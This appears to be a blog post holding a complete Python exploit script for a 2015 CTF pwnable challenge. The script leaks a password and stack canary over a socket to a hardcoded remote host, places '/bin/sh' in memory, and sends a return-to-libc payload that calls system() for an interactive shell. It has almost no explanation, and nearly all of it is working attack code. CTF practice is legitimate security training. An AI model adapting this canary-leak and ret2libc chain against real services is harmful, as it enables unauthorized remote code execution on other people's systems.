Layer 7 CTF 2015 - Pwnable 300
-Remote Return-to-Libc & SSP memory leaking-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | #!/usr/bin/python #-*-coding:utf-8-*- import socket import struct import telnetlib #Endian Translator p = lambda x : struct.pack("<L", x) up = lambda x : struct.unpack("<L", x)[0] #Addresses system_plt = 0x08048610 freebss = 0x0804b0e0 addr_leak_pass = 0x0804b060 #Misc payload = None password = None canary = None print ''' [!] Layer 7 CTF 2015 Spil..Spli....SPPPPPIILL Exploit [!] ~ By RevDev ~ Python 2.7 ~ Remote Exploit ''' print "[!] Establishing Connection [!]" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('52.192.51.122', 8777)) print s print '' print "[!] Leaking Password [!]" s.recv(1024) payload = 'A'*129 + 'B'*156 + p(addr_leak_pass) s.send(payload + '\n') s.recv(1024) password = s.recv(1024) password = password[(password.index("***:") + 5) : password.index(" terminated")] password = password.split("\n")[0] print "Password : %s\n" %password s.close() print "[!] Re-Establishing Connection [!]" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('52.192.51.122', 8777)) print s print '' print "[!] Leaking Stack Canary & Injecting \"/bin/sh\" [!]" s.recv(1024) s.send(password + '\n') s.recv(1024) s.recv(1024) s.send('2' + '\n') s.recv(1024) s.recv(1024) s.send('1' + '\n') s.recv(1024) s.recv(1024) s.send('4' + '\n') s.recv(1024) s.send('A'*21 + '\n') s.recv(1024) s.send("/bin/sh;" + '\n') s.recv(1024) s.send("I_h4t3_fuck1n_c4n4ry" + '\n') s.recv(1024) canary = s.recv(1024) canary = canary[(canary.find("AAA\n") + 4) : canary.find("Wow")] if(len(canary) < 4): canary = '\x00'*(4 - len(canary)) + canary print "Canary : 0x"+canary.encode('hex') print "\"/bin/sh\" Address : 0x%x\n" %freebss print "[!] Sending Exploit [!]" s.send('3' + '\n') s.recv(1024) payload = 'A'*217 + canary + 'A'*12 + p(system_plt) + 'A'*4 + p(freebss) + '\n' s.send(payload) s.recv(1024) s.recv(1024) s.send('0' + '\n') s.recv(1024) s.recv(1024) s.send('1' + '\n') s.recv(1024) s.recv(1024) print "Payload : %s\n" %payload print "[!] Shell [!]" t = telnetlib.Telnet() t.sock = s t.interact() s.close() | cs |
'Security > CTF' 카테고리의 다른 글
[Write-Up/WhiteHat 2015 Junior] Pre-Qual WriteUp (0) | 2016.04.25 |
---|---|
[Write-Up/Codegate 2016 Junior] Pre-Qual WriteUp (0) | 2016.04.25 |
[Payload/Codegate 2014 Junior] Pwnable - 'nuclear' (0) | 2015.10.06 |
[Write-Up/Inc0gnito CTF 2015] Reversing - Reversing (0) | 2015.08.26 |
[Write-Up/Inc0gnito CTF 2015] Reversing - Anti Hexray (0) | 2015.08.26 |